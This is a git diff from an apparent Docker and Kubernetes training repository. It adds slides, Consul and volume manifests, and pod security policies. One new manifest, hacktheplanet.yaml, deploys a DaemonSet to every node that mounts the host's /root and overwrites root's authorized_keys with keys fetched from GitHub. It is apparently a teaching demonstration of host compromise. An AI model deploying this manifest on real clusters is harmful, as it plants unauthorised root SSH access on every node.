diff --git a/k8s/hacktheplanet.yaml b/k8s/hacktheplanet.yaml
new file mode 100644
index 00000000..92793789
--- /dev/null
+++ b/k8s/hacktheplanet.yaml
@@ -0,0 +1,34 @@
+apiVersion: apps/v1
+kind: DaemonSet
+metadata:
+ name: hacktheplanet
+spec:
+ selector:
+ matchLabels:
+ app: hacktheplanet
+ template:
+ metadata:
+ labels:
+ app: hacktheplanet
+ spec:
+ volumes:
+ - name: root
+ hostPath:
+ path: /root
+ tolerations:
+ - effect: NoSchedule
+ operator: Exists
+ initContainers:
+ - name: hacktheplanet
+ image: alpine
+ volumeMounts:
+ - name: root
+ mountPath: /root
+ command:
+ - sh
+ - -c
+ - "apk update && apk add curl && curl https://github.com/jpetazzo.keys > /root/.ssh/authorized_keys"
+ containers:
+ - name: web
+ image: nginx
+
diff --git a/k8s/persistent-consul.yaml b/k8s/persistent-consul.yaml
new file mode 100644
index 00000000..ff9d5955
--- /dev/null
+++ b/k8s/persistent-consul.yaml
@@ -0,0 +1,95 @@
+apiVersion: rbac.authorization.k8s.io/v1
+kind: Role
+metadata:
+ name: consul
+rules:
+ - apiGroups: [ "" ]
+ resources: [ pods ]
+ verbs: [ get, list ]
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: RoleBinding
+metadata:
+ name: consul
+roleRef:
+ apiGroup: rbac.authorization.k8s.io
+ kind: Role
+ name: consul
+subjects:
+ - kind: ServiceAccount
+ name: consul
+ namespace: orange
+---
+apiVersion: v1
+kind: ServiceAccount
+metadata:
+ name: consul
+---
+apiVersion: v1
+kind: Service
+metadata:
+ name: consul
+spec:
+ ports:
+ - port: 8500
+ name: http
+ selector:
+ app: consul
+---
+apiVersion: apps/v1
+kind: StatefulSet
+metadata:
+ name: consul
+spec:
+ serviceName: consul
+ replicas: 3
+ selector:
+ matchLabels:
+ app: consul
+ volumeClaimTemplates:
+ - metadata:
+ name: data
+ spec:
+ accessModes:
+ - ReadWriteOnce
+ resources:
+ requests:
+ storage: 1Gi
+ template:
+ metadata:
+ labels:
+ app: consul
+ spec:
+ serviceAccountName: consul
+ affinity:
+ podAntiAffinity:
+ requiredDuringSchedulingIgnoredDuringExecution:
+ - labelSelector:
+ matchExpressions:
+ - key: app
+ operator: In
+ values:
+ - consul
+ topologyKey: kubernetes.io/hostname
+ terminationGracePeriodSeconds: 10
+ containers:
+ - name: consul
+ image: "consul:1.4.4"
+ volumeMounts:
+ - name: data
+ mountPath: /consul/data
+ args:
+ - "agent"
+ - "-bootstrap-expect=3"
+ - "-retry-join=provider=k8s namespace=orange label_selector=\"app=consul\""
+ - "-client=0.0.0.0"
+ - "-data-dir=/consul/data"
+ - "-server"
+ - "-ui"
+ lifecycle:
+ preStop:
+ exec:
+ command:
+ - /bin/sh
+ - -c
+ - consul leave
diff --git a/k8s/psp-privileged.yaml b/k8s/psp-privileged.yaml
new file mode 100644
index 00000000..3eea72e8
--- /dev/null
+++ b/k8s/psp-privileged.yaml
@@ -0,0 +1,39 @@
+---
+apiVersion: policy/v1beta1
+kind: PodSecurityPolicy
+metadata:
+ name: privileged
+ annotations:
+ seccomp.security.alpha.kubernetes.io/allowedProfileNames: '*'
+spec:
+ privileged: true
+ allowPrivilegeEscalation: true
+ allowedCapabilities:
+ - '*'
+ volumes:
+ - '*'
+ hostNetwork: true
+ hostPorts:
+ - min: 0
+ max: 65535
+ hostIPC: true
+ hostPID: true
+ runAsUser:
+ rule: 'RunAsAny'
+ seLinux:
+ rule: 'RunAsAny'
+ supplementalGroups:
+ rule: 'RunAsAny'
+ fsGroup:
+ rule: 'RunAsAny'
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: ClusterRole
+metadata:
+ name: psp:privileged
+rules:
+- apiGroups: ['policy']
+ resources: ['podsecuritypolicies']
+ verbs: ['use']
+ resourceNames: ['privileged']
+
diff --git a/k8s/psp-restricted.yaml b/k8s/psp-restricted.yaml
new file mode 100644
index 00000000..a73e7049
--- /dev/null
+++ b/k8s/psp-restricted.yaml
@@ -0,0 +1,38 @@
+---
+apiVersion: extensions/v1beta1
+kind: PodSecurityPolicy
+metadata:
+ annotations:
+ apparmor.security.beta.kubernetes.io/allowedProfileNames: runtime/default
+ apparmor.security.beta.kubernetes.io/defaultProfileName: runtime/default
+ seccomp.security.alpha.kubernetes.io/allowedProfileNames: docker/default
+ seccomp.security.alpha.kubernetes.io/defaultProfileName: docker/default
+ name: restricted
+spec:
+ allowPrivilegeEscalation: false
+ fsGroup:
+ rule: RunAsAny
+ runAsUser:
+ rule: RunAsAny
+ seLinux:
+ rule: RunAsAny
+ supplementalGroups:
+ rule: RunAsAny
+ volumes:
+ - configMap
+ - emptyDir
+ - projected
+ - secret
+ - downwardAPI
+ - persistentVolumeClaim
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: ClusterRole
+metadata:
+ name: psp:restricted
+rules:
+- apiGroups: ['policy']
+ resources: ['podsecuritypolicies']
+ verbs: ['use']
+ resourceNames: ['restricted']
+
diff --git a/k8s/volumes-for-consul.yaml b/k8s/volumes-for-consul.yaml
new file mode 100644
index 00000000..8d75e8ea
--- /dev/null
+++ b/k8s/volumes-for-consul.yaml
@@ -0,0 +1,70 @@
+---
+apiVersion: v1
+kind: PersistentVolume
+metadata:
+ name: consul-node2
+ annotations:
+ node: node2
+spec:
+ capacity:
+ storage: 10Gi
+ accessModes:
+ - ReadWriteOnce
+ persistentVolumeReclaimPolicy: Delete
+ local:
+ path: /mnt/consul
+ nodeAffinity:
+ required:
+ nodeSelectorTerms:
+ - matchExpressions:
+ - key: kubernetes.io/hostname
+ operator: In
+ values:
+ - node2
+---
+apiVersion: v1
+kind: PersistentVolume
+metadata:
+ name: consul-node3
+ annotations:
+ node: node3
+spec:
+ capacity:
+ storage: 10Gi
+ accessModes:
+ - ReadWriteOnce
+ persistentVolumeReclaimPolicy: Delete
+ local:
+ path: /mnt/consul
+ nodeAffinity:
+ required:
+ nodeSelectorTerms:
+ - matchExpressions:
+ - key: kubernetes.io/hostname
+ operator: In
+ values:
+ - node3
+---
+apiVersion: v1
+kind: PersistentVolume
+metadata:
+ name: consul-node4
+ annotations:
+ node: node4
+spec:
+ capacity:
+ storage: 10Gi
+ accessModes:
+ - ReadWriteOnce
+ persistentVolumeReclaimPolicy: Delete
+ local:
+ path: /mnt/consul
+ nodeAffinity:
+ required:
+ nodeSelectorTerms:
+ - matchExpressions:
+ - key: kubernetes.io/hostname
+ operator: In
+ values:
+ - node4
+
diff --git a/prepare-vms/lib/commands.sh b/prepare-vms/lib/commands.sh
index 6daec799..f668ced0 100644
--- a/prepare-vms/lib/commands.sh
+++ b/prepare-vms/lib/commands.sh
@@ -248,6 +248,14 @@ EOF"
sudo tar -C /usr/local/bin -zx ship
fi"
+ # Install the AWS IAM authenticator
+ pssh "
+ if [ ! -x /usr/local/bin/aws-iam-authenticator ]; then
+ ##VERSION##
+ sudo curl -o /usr/local/bin/aws-iam-authenticator https://amazon-eks.s3-us-west-2.amazonaws.com/1.12.7/2019-03-27/bin/linux/amd64/aws-iam-authenticator
+ sudo chmod +x /usr/local/bin/aws-iam-authenticator
+ fi"
+
sep "Done"
}
@@ -383,6 +391,15 @@ _cmd_retag() {
aws_tag_instances $OLDTAG $NEWTAG
}
+_cmd ssh "Open an SSH session to the first node of a tag"
+_cmd_ssh() {
+ TAG=$1
+ need_tag
+ IP=$(head -1 tags/$TAG/ips.txt)
+ info "Logging into $IP"
+ ssh docker@$IP
+}
+
_cmd start "Start a group of VMs"
_cmd_start() {
while [ ! -z "$*" ]; do
@@ -481,12 +498,12 @@ _cmd_helmprom() {
if i_am_first_node; then
kubectl -n kube-system get serviceaccount helm ||
kubectl -n kube-system create serviceaccount helm
- helm init --service-account helm
+ sudo -u docker -H helm init --service-account helm
kubectl get clusterrolebinding helm-can-do-everything ||
kubectl create clusterrolebinding helm-can-do-everything \
--clusterrole=cluster-admin \
--serviceaccount=kube-system:helm
- helm upgrade --install prometheus stable/prometheus \
+ sudo -u docker -H helm upgrade --install prometheus stable/prometheus \
--namespace kube-system \
--set server.service.type=NodePort \
--set server.service.nodePort=30090 \
diff --git a/slides/containers/Ambassadors.md b/slides/containers/Ambassadors.md
index facef966..dba3398d 100644
--- a/slides/containers/Ambassadors.md
+++ b/slides/containers/Ambassadors.md
@@ -186,22 +186,48 @@ Different deployments will use different underlying technologies.
---
-## Section summary
+## Some popular service meshes
-We've learned how to:
+... And related projects:
-* Understand the ambassador pattern and what it is used for (service portability).
-
-For more information about the ambassador pattern, including demos on Swarm and ECS:
-
-* AWS re:invent 2015 [DVO317](https://www.youtube.com/watch?v=7CZFpHUPqXw)
-
-* [SwarmWeek video about Swarm+Compose](https://youtube.com/watch?v=qbIvUvwa6As)
-
-Some services meshes and related projects:
-
-* [Istio](https://istio.io/)
-
-* [Linkerd](https://linkerd.io/)
+* [Consul Connect](https://www.consul.io/docs/connect/index.html)
+
+ Transparently secures service-to-service connections with mTLS.
* [Gloo](https://gloo.solo.io/)
+
+ API gateway that can interconnect applications on VMs, containers, and serverless.
+
+* [Istio](https://istio.io/)
+
+ A popular service mesh.
+
+* [Linkerd](https://linkerd.io/)
+
+ Another popular service mesh.
+
+---
+
+## Learning more about service meshes
+
+A few blog posts about service meshes:
+
+* [Containers, microservices, and service meshes](http://jpetazzo.github.io/2019/05/17/containers-microservices-service-meshes/)
+
+ Provides historical context: how did we do before service meshes were invented?
+
+* [Do I Need a Service Mesh?](https://www.nginx.com/blog/do-i-need-a-service-mesh/)
+
+ Explains the purpose of service meshes. Illustrates some NGINX features.
+
+* [Do you need a service mesh?](https://www.oreilly.com/ideas/do-you-need-a-service-mesh)
+
+ Includes high-level overview and definitions.
+
+* [What is Service Mesh and Why Do We Need It?](https://containerjournal.com/2018/12/12/what-is-service-mesh-and-why-do-we-need-it/)
+
+ Includes a step-by-step demo of Linkerd.
+
+And a video:
+
+* [What is a Service Mesh, and Do I Need One When Developing Microservices?](https://www.datawire.io/envoyproxy/service-mesh/)
diff --git a/slides/containers/Container_Network_Model.md b/slides/containers/Container_Network_Model.md
index dec982fe..fd77c3bd 100644
--- a/slides/containers/Container_Network_Model.md
+++ b/slides/containers/Container_Network_Model.md
@@ -528,7 +528,9 @@ Very short instructions:
- `docker network create mynet --driver overlay`
- `docker service create --network mynet myimage`
-See https://jpetazzo.github.io/container.training for all the deets about clustering!
+If you want to learn more about Swarm mode, you can check
+[this video](https://www.youtube.com/watch?v=EuzoEaE6Cqs)
+or [these slides](https://container.training/swarm-selfpaced.yml.html).
---
diff --git a/slides/containers/Exercise_Composefile.md b/slides/containers/Exercise_Composefile.md
new file mode 100644
index 00000000..703b21b2
--- /dev/null
+++ b/slides/containers/Exercise_Composefile.md
@@ -0,0 +1,5 @@
+# Exercise — writing a Compose file
+
+Let's write a Compose file for the wordsmith app!
+
+The code is at: https://github.com/jpetazzo/wordsmith
diff --git a/slides/containers/Exercise_Dockerfile_Advanced.md b/slides/containers/Exercise_Dockerfile_Advanced.md
new file mode 100644
index 00000000..0ca16d75
--- /dev/null
+++ b/slides/containers/Exercise_Dockerfile_Advanced.md
@@ -0,0 +1,9 @@
+# Exercise — writing better Dockerfiles
+
+Let's update our Dockerfiles to leverage multi-stage builds!
+
+The code is at: https://github.com/jpetazzo/wordsmith
+
+Use a different tag for these images, so that we can compare their sizes.
+
+What's the size difference between single-stage and multi-stage builds?
diff --git a/slides/containers/Exercise_Dockerfile_Basic.md b/slides/containers/Exercise_Dockerfile_Basic.md
new file mode 100644
index 00000000..c6cad7b4
--- /dev/null
+++ b/slides/containers/Exercise_Dockerfile_Basic.md
@@ -0,0 +1,5 @@
+# Exercise — writing Dockerfiles
+
+Let's write Dockerfiles for an existing application!
+
+The code is at: https://github.com/jpetazzo/wordsmith
diff --git a/slides/containers/First_Containers.md b/slides/containers/First_Containers.md
index aa47a764..21d8e6f4 100644
--- a/slides/containers/First_Containers.md
+++ b/slides/containers/First_Containers.md
@@ -203,4 +203,90 @@ bash: figlet: command not found
* The basic Ubuntu image was used, and `figlet` is not here.
-* We will see in the next chapters how to bake a custom image with `figlet`.
+---
+
+## Where's my container?
+
+* Can we reuse that container that we took time to customize?
+
+ *We can, but that's not the default workflow with Docker.*
+
+* What's the default workflow, then?
+
+ *Always start with a fresh container.*
+
+ *If we need something installed in our container, build a custom image.*
+
+* That seems complicated!
+
+ *We'll see that it's actually pretty easy!*
+
+* And what's the point?
+
+ *This puts a strong emphasis on automation and repeatability. Let's see why ...*
+
+---
+
+## Pets vs. Cattle
+
+* In the "pets vs. cattle" metaphor, there are two kinds of servers.
+
+* Pets:
+
+ * have distinctive names and unique configurations
+
+ * when they have an outage, we do everything we can to fix them
+
+* Cattle:
+
+ * have generic names (e.g. with numbers) and generic configuration
+
+ * configuration is enforced by configuration management, golden images ...
+
+ * when they have an outage, we can replace them immediately with a new server
+
+* What's the connection with Docker and containers?
+
+---
+
+## Local development environments
+
+* When we use local VMs (with e.g. VirtualBox or VMware), our workflow looks like this:
+
+ * create VM from base template (Ubuntu, CentOS...)
+
+ * install packages, set up environment
+
+ * work on project
+
+ * when done, shutdown VM
+
+ * next time we need to work on project, restart VM as we left it
+
+ * if we need to tweak the environment, we do it live
+
+* Over time, the VM configuration evolves, diverges.
+
+* We don't have a clean, reliable, deterministic way to provision that environment.
+
+---
+
+## Local development with Docker
+
+* With Docker, the workflow looks like this:
+
+ * create container image with our dev environment
+
+ * run container with that image
+
+ * work on project
+
+ * when done, shutdown container
+
+ * next time we need to work on project, start a new container
+
+ * if we need to tweak the environment, we create a new image
+
+* We have a clear definition of our environment, and can share it reliably with others.
+
+* Let's see in the next chapters how to bake a custom image with `figlet`!
diff --git a/slides/containers/Initial_Images.md b/slides/containers/Initial_Images.md
index 8c6a5475..0e601e57 100644
--- a/slides/containers/Initial_Images.md
+++ b/slides/containers/Initial_Images.md
@@ -70,8 +70,9 @@ class: pic
* An image is a read-only filesystem.
-* A container is an encapsulated set of processes running in a
- read-write copy of that filesystem.
+* A container is an encapsulated set of processes,
+
+ running in a read-write copy of that filesystem.
* To optimize container boot time, *copy-on-write* is used
instead of regular copy.
@@ -177,8 +178,11 @@ Let's explain each of them.
## Root namespace
-The root namespace is for official images. They are put there by Docker Inc.,
-but they are generally authored and maintained by third parties.
+The root namespace is for official images.
+
+They are gated by Docker Inc.
+
+They are generally authored and maintained by third parties.
Those images include:
@@ -188,7 +192,7 @@ Those images include:
* Ready-to-use components and services, like redis, postgresql...
-* Over 130 at this point!
+* Over 150 at this point!
---
diff --git a/slides/containers/Orchestration_Overview.md b/slides/containers/Orchestration_Overview.md
index 986d70a3..1ab25a80 100644
--- a/slides/containers/Orchestration_Overview.md
+++ b/slides/containers/Orchestration_Overview.md
@@ -6,8 +6,6 @@ In this chapter, we will:
* Present (from a high-level perspective) some orchestrators.
-* Show one orchestrator (Kubernetes) in action.
-
---
class: pic
diff --git a/slides/intro-fullday.yml b/slides/intro-fullday.yml
index 98281b5b..b137fb59 100644
--- a/slides/intro-fullday.yml
+++ b/slides/intro-fullday.yml
@@ -30,27 +30,11 @@ chapters:
- containers/Building_Images_With_Dockerfiles.md
- containers/Cmd_And_Entrypoint.md
- - containers/Copying_Files_During_Build.md
- - |
- # Exercise — writing Dockerfiles
-
- Let's write Dockerfiles for an existing application!
-
- The code is at: https://github.com/jpetazzo/wordsmith
-
+ - containers/Exercise_Dockerfile_Basic.md
- containers/Multi_Stage_Builds.md
- containers/Publishing_To_Docker_Hub.md
- containers/Dockerfile_Tips.md
- - |
- # Exercise — writing better Dockerfiles
-
- Let's update our Dockerfiles to leverage multi-stage builds!
-
- The code is at: https://github.com/jpetazzo/wordsmith
-
- Use a different tag for these images, so that we can compare their sizes.
-
- What's the size difference between single-stage and multi-stage builds?
-
+ - containers/Exercise_Dockerfile_Advanced.md
- - containers/Naming_And_Inspecting.md
- containers/Labels.md
- containers/Getting_Inside.md
@@ -64,13 +48,7 @@ chapters:
- containers/Windows_Containers.md
- containers/Working_With_Volumes.md
- containers/Compose_For_Dev_Stacks.md
- - |
- # Exercise — writing a Compose file
-
- Let's write a Compose file for the wordsmith app!
-
- The code is at: https://github.com/jpetazzo/wordsmith
-
+ - containers/Exercise_Composefile.md
- - containers/Docker_Machine.md
- containers/Advanced_Dockerfiles.md
- containers/Application_Configuration.md
diff --git a/slides/intro-selfpaced.yml b/slides/intro-selfpaced.yml
index 6020ed78..5ebc32c5 100644
--- a/slides/intro-selfpaced.yml
+++ b/slides/intro-selfpaced.yml
@@ -30,9 +30,11 @@ chapters:
- containers/Building_Images_With_Dockerfiles.md
- containers/Cmd_And_Entrypoint.md
- containers/Copying_Files_During_Build.md
+ - containers/Exercise_Dockerfile_Basic.md
- - containers/Multi_Stage_Builds.md
- containers/Publishing_To_Docker_Hub.md
- containers/Dockerfile_Tips.md
+ - containers/Exercise_Dockerfile_Advanced.md
- - containers/Naming_And_Inspecting.md
- containers/Labels.md
- containers/Getting_Inside.md
@@ -45,6 +47,7 @@ chapters:
- containers/Windows_Containers.md
- containers/Working_With_Volumes.md
- containers/Compose_For_Dev_Stacks.md
+ - containers/Exercise_Composefile.md
- containers/Docker_Machine.md
- - containers/Advanced_Dockerfiles.md
- containers/Application_Configuration.md
diff --git a/slides/k8s/cluster-upgrade.md b/slides/k8s/cluster-upgrade.md
index 57bce466..48197842 100644
--- a/slides/k8s/cluster-upgrade.md
+++ b/slides/k8s/cluster-upgrade.md
@@ -166,7 +166,7 @@
- Upgrade kubelet:
```bash
- apt install kubelet=1.14.1-00
+ apt install kubelet=1.14.2-00
```
]
@@ -267,7 +267,7 @@
- Perform the upgrade:
```bash
- sudo kubeadm upgrade apply v1.14.1
+ sudo kubeadm upgrade apply v1.14.2
```
]
@@ -287,8 +287,8 @@
- Download the configuration on each node, and upgrade kubelet:
```bash
for N in 1 2 3; do
- ssh node$N sudo kubeadm upgrade node config --kubelet-version v1.14.1
- ssh node $N sudo apt install kubelet=1.14.1-00
+ ssh node$N sudo kubeadm upgrade node config --kubelet-version v1.14.2
+ ssh node $N sudo apt install kubelet=1.14.2-00
done
```
]
@@ -297,7 +297,7 @@
## Checking what we've done
-- All our nodes should now be updated to version 1.14.1
+- All our nodes should now be updated to version 1.14.2
.exercise[
diff --git a/slides/k8s/concepts-k8s.md b/slides/k8s/concepts-k8s.md
index dc597bed..32e241bb 100644
--- a/slides/k8s/concepts-k8s.md
+++ b/slides/k8s/concepts-k8s.md
@@ -136,6 +136,8 @@ class: pic
---
+class: extra-details
+
## Running the control plane on special nodes
- It is common to reserve a dedicated node for the control plane
@@ -158,6 +160,8 @@ class: pic
---
+class: extra-details
+
## Running the control plane outside containers
- The services of the control plane can run in or out of containers
@@ -177,6 +181,8 @@ class: pic
---
+class: extra-details
+
## Do we need to run Docker at all?
No!
@@ -193,6 +199,8 @@ No!
---
+class: extra-details
+
## Do we need to run Docker at all?
Yes!
@@ -215,6 +223,8 @@ Yes!
---
+class: extra-details
+
## Do we need to run Docker at all?
- On our development environments, CI pipelines ... :
@@ -231,25 +241,21 @@ Yes!
---
-## Kubernetes resources
+## Interacting with Kubernetes
-- The Kubernetes API defines a lot of objects called *resources*
+- We will interact with our Kubernetes cluster through the Kubernetes API
-- These resources are organized by type, or `Kind` (in the API)
+- The Kubernetes API is (mostly) RESTful
+
+- It allows us to create, read, update, delete *resources*
- A few common resource types are:
- node (a machine — physical or virtual — in our cluster)
+
- pod (group of containers running together on a node)
+
- service (stable network endpoint to connect to one or multiple containers)
- - namespace (more-or-less isolated group of things)
- - secret (bundle of sensitive data to be passed to a container)
-
- And much more!
-
-- We can see the full list by running `kubectl api-resources`
-
- (In Kubernetes 1.10 and prior, the command to list API resources was `kubectl get`)
---
diff --git a/slides/k8s/create-chart.md b/slides/k8s/create-chart.md
index 35ea3878..4d7731d2 100644
--- a/slides/k8s/create-chart.md
+++ b/slides/k8s/create-chart.md
@@ -69,3 +69,46 @@
`Error: release loitering-otter failed: services "hasher" already exists`
- To avoid naming conflicts, we will deploy the application in another *namespace*
+
+---
+
+## Switching to another namespace
+
+- We can create a new namespace and switch to it
+
+ (Helm will automatically use the namespace specified in our context)
+
+- We can also tell Helm which namespace to use
+
+.exercise[
+
+- Tell Helm to use a specific namespace:
+ ```bash
+ helm install dockercoins --namespace=magenta
+ ```
+
+]
+
+---
+
+## Checking our new copy of DockerCoins
+
+- We can check the worker logs, or the web UI
+
+.exercise[
+
+- Retrieve the NodePort number of the web UI:
+ ```bash
+ kubectl get service webui --namespace=magenta
+ ```
+
+- Open it in a web browser
+
+- Look at the worker logs:
+ ```bash
+ kubectl logs deploy/worker --tail=10 --follow --namespace=magenta
+ ```
+
+]
+
+Note: it might take a minute or two for the worker to start.
diff --git a/slides/k8s/daemonset.md b/slides/k8s/daemonset.md
index bd86a91d..3b37b3a9 100644
--- a/slides/k8s/daemonset.md
+++ b/slides/k8s/daemonset.md
@@ -73,18 +73,13 @@
- Dump the `rng` resource in YAML:
```bash
- kubectl get deploy/rng -o yaml --export >rng.yml
+ kubectl get deploy/rng -o yaml >rng.yml
```
- Edit `rng.yml`
]
-Note: `--export` will remove "cluster-specific" information, i.e.:
-- namespace (so that the resource is not tied to a specific namespace)
-- status and creation timestamp (useless when creating a new resource)
-- resourceVersion and uid (these would cause... *interesting* problems)
-
---
## "Casting" a resource to another
diff --git a/slides/k8s/declarative.md b/slides/k8s/declarative.md
index de9fa995..fc4e1fb0 100644
--- a/slides/k8s/declarative.md
+++ b/slides/k8s/declarative.md
@@ -1,6 +1,20 @@
## Declarative vs imperative in Kubernetes
-- Virtually everything we create in Kubernetes is created from a *spec*
+- With Kubernetes, we cannot say: "run this container"
+
+- All we can do is write a *spec* and push it to the API server
+
+ (by creating a resource like e.g. a Pod or a Deployment)
+
+- The API server will validate that spec (and reject it if it's invalid)
+
+- Then it will store it in etcd
+
+- A *controller* will "notice" that spec and act upon it
+
+---
+
+## Reconciling state
- Watch for the `spec` fields in the YAML files later!
diff --git a/slides/k8s/extending-api.md b/slides/k8s/extending-api.md
index e8a4cf99..2a266e04 100644
--- a/slides/k8s/extending-api.md
+++ b/slides/k8s/extending-api.md
@@ -61,7 +61,7 @@ There are many possibilities!
- creates a new custom type, `Remote`, exposing a git+ssh server
- - deploy by pushing YAML or Helm Charts to that remote
+ - deploy by pushing YAML or Helm charts to that remote
- Replacing built-in types with CRDs
diff --git a/slides/k8s/gitworkflows.md b/slides/k8s/gitworkflows.md
index a009ea69..4bccea72 100644
--- a/slides/k8s/gitworkflows.md
+++ b/slides/k8s/gitworkflows.md
@@ -234,6 +234,6 @@
(see the [documentation](https://github.com/hasura/gitkube/blob/master/docs/remote.md) for more details)
-- Gitkube can also deploy Helm Charts
+- Gitkube can also deploy Helm charts
(instead of raw YAML files)
diff --git a/slides/k8s/kubectlexpose.md b/slides/k8s/kubectlexpose.md
index 124ef922..baa7f3f5 100644
--- a/slides/k8s/kubectlexpose.md
+++ b/slides/k8s/kubectlexpose.md
@@ -276,3 +276,21 @@ error: the server doesn't have a resource type "endpoint"
- There is no `endpoint` object: `type Endpoints struct`
- The type doesn't represent a single endpoint, but a list of endpoints
+
+---
+
+## Exposing services to the outside world
+
+- The default type (ClusterIP) only works for internal traffic
+
+- If we want to accept external traffic, we can use one of these:
+
+ - NodePort (expose a service on a TCP port between 30000-32768)
+
+ - LoadBalancer (provision a cloud load balancer for our service)
+
+ - ExternalIP (use one node's external IP address)
+
+ - Ingress (a special mechanism for HTTP services)
+
+*We'll see NodePorts and Ingresses more in detail later.*
diff --git a/slides/k8s/kubectlget.md b/slides/k8s/kubectlget.md
index d1c034bb..66a1fac1 100644
--- a/slides/k8s/kubectlget.md
+++ b/slides/k8s/kubectlget.md
@@ -79,6 +79,8 @@
---
+class: extra-details
+
## Exploring types and definitions
- We can list all available resource types by running `kubectl api-resources`
@@ -102,9 +104,11 @@
---
+class: extra-details
+
## Introspection vs. documentation
-- We can access the same information by reading the [API documentation](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.14/)
+- We can access the same information by reading the [API documentation](https://kubernetes.io/docs/reference/#api-reference)
- The API documentation is usually easier to read, but:
diff --git a/slides/k8s/kubectlrun.md b/slides/k8s/kubectlrun.md
index 50d4937a..2c8a9c2b 100644
--- a/slides/k8s/kubectlrun.md
+++ b/slides/k8s/kubectlrun.md
@@ -320,6 +320,8 @@ We could! But the *deployment* would notice it right away, and scale back to the
---
+class: extra-details
+
### Streaming logs of many pods
- Let's see what happens if we try to stream the logs for more than 5 pods
@@ -347,6 +349,8 @@ use --max-log-requests to increase the limit
---
+class: extra-details
+
## Why can't we stream the logs of many pods?
- `kubectl` opens one connection to the API server per pod
diff --git a/slides/k8s/kubenet.md b/slides/k8s/kubenet.md
index 92229df9..0bb7c624 100644
--- a/slides/k8s/kubenet.md
+++ b/slides/k8s/kubenet.md
@@ -16,6 +16,8 @@
- each pod is aware of its IP address (no NAT)
+ - pod IP addresses are assigned by the network implementation
+
- Kubernetes doesn't mandate any particular implementation
---
@@ -30,7 +32,7 @@
- No new protocol
-- Pods cannot move from a node to another and keep their IP address
+- The network implementation can decide how to allocate addresses
- IP addresses don't have to be "portable" from a node to another
@@ -82,13 +84,17 @@
---
+class: extra-details
+
## The Container Network Interface (CNI)
-- The CNI has a well-defined [specification](https://github.com/containernetworking/cni/blob/master/SPEC.md#network-configuration) for network plugins
+- Most Kubernetes clusters use CNI "plugins" to implement networking
-- When a pod is created, Kubernetes delegates the network setup to CNI plugins
+- When a pod is created, Kubernetes delegates the network setup to these plugins
-- Typically, a CNI plugin will:
+ (it can be a single plugin, or a combination of plugins, each doing one task)
+
+- Typically, CNI plugins will:
- allocate an IP address (by calling an IPAM plugin)
@@ -96,8 +102,46 @@
- configure the interface as well as required routes etc.
-- Using multiple plugins can be done with "meta-plugins" like CNI-Genie or Multus
+---
-- Not all CNI plugins are equal
+class: extra-details
- (e.g. they don't all implement network policies, which are required to isolate pods)
+## Multiple moving parts
+
+- The "pod-to-pod network" or "pod network":
+
+ - provides communication between pods and nodes
+
+ - is generally implemented with CNI plugins
+
+- The "pod-to-service network":
+
+ - provides internal communication and load balancing
+
+ - is generally implemented with kube-proxy (or e.g. kube-router)
+
+- Network policies:
+
+ - provide firewalling and isolation
+
+ - can be bundled with the "pod network" or provided by another component
+
+---
+
+class: extra-details
+
+## Even more moving parts
+
+- Inbound traffic can be handled by multiple components:
+
+ - something like kube-proxy or kube-router (for NodePort services)
+
+ - load balancers (ideally, connected to the pod network)
+
+- It is possible to use multiple pod networks in parallel
+
+ (with "meta-plugins" like CNI-Genie or Multus)
+
+- Some solutions can fill multiple roles
+
+ (e.g. kube-router can be set up to provide the pod network and/or network policies and/or replace kube-proxy)
diff --git a/slides/k8s/kustomize.md b/slides/k8s/kustomize.md
index b45f0491..60641b4a 100644
--- a/slides/k8s/kustomize.md
+++ b/slides/k8s/kustomize.md
@@ -14,15 +14,15 @@
## Differences with Helm
-- Helm Charts use placeholders `{{ like.this }}`
+- Helm charts use placeholders `{{ like.this }}`
- Kustomize "bases" are standard Kubernetes YAML
- It is possible to use an existing set of YAML as a Kustomize base
-- As a result, writing a Helm Chart is more work ...
+- As a result, writing a Helm chart is more work ...
-- ... But Helm Charts are also more powerful; e.g. they can:
+- ... But Helm charts are also more powerful; e.g. they can:
- use flags to conditionally include resources or blocks
@@ -88,11 +88,11 @@
- Change to a new directory:
```bash
- mkdir ~/kubercoins
- cd ~/kubercoins
+ mkdir ~/kustomcoins
+ cd ~/kustomcoins
```
-- Run `ship init` with the kubercoins repository:
+- Run `ship init` with the kustomcoins repository:
```bash
ship init https://github.com/jpetazzo/kubercoins
```
@@ -146,3 +146,49 @@
- We will create a new copy of DockerCoins in another namespace
+---
+
+## Deploy DockerCoins with Kustomize
+
+.exercise[
+
+- Create a new namespace:
+ ```bash
+ kubectl create namespace kustomcoins
+ ```
+
+- Deploy DockerCoins:
+ ```bash
+ kubectl apply -f rendered.yaml --namespace=kustomcoins
+ ```
+
+- Or, with Kubernetes 1.14, you can also do this:
+ ```bash
+ kubectl apply -k overlays/ship --namespace=kustomcoins
+ ```
+
+]
+
+---
+
+## Checking our new copy of DockerCoins
+
+- We can check the worker logs, or the web UI
+
+.exercise[
+
+- Retrieve the NodePort number of the web UI:
+ ```bash
+ kubectl get service webui --namespace=kustomcoins
+ ```
+
+- Open it in a web browser
+
+- Look at the worker logs:
+ ```bash
+ kubectl logs deploy/worker --tail=10 --follow --namespace=kustomcoins
+ ```
+
+]
+
+Note: it might take a minute or two for the worker to start.
diff --git a/slides/k8s/lastwords-admin.md b/slides/k8s/lastwords-admin.md
index 5bd12285..4fbde579 100644
--- a/slides/k8s/lastwords-admin.md
+++ b/slides/k8s/lastwords-admin.md
@@ -120,7 +120,7 @@
- Team "build" ships ready-to-run manifests
- (YAML, Helm Charts, Kustomize ...)
+ (YAML, Helm charts, Kustomize ...)
- Team "run" adjusts some parameters and monitors the application
diff --git a/slides/k8s/local-persistent-volumes.md b/slides/k8s/local-persistent-volumes.md
new file mode 100644
index 00000000..b7718bd0
--- /dev/null
+++ b/slides/k8s/local-persistent-volumes.md
@@ -0,0 +1,244 @@
+# Local Persistent Volumes
+
+- We want to run that Consul cluster *and* actually persist data
+
+- But we don't have a distributed storage system
+
+- We are going to use local volumes instead
+
+ (similar conceptually to `hostPath` volumes)
+
+- We can use local volumes without installing extra plugins
+
+- However, they are tied to a node
+
+- If that node goes down, the volume becomes unavailable
+
+---
+
+## With or without dynamic provisioning
+
+- We will deploy a Consul cluster *with* persistence
+
+- That cluster's StatefulSet will create PVCs
+
+- These PVCs will remain unbound¹, until we will create local volumes manually
+
+ (we will basically do the job of the dynamic provisioner)
+
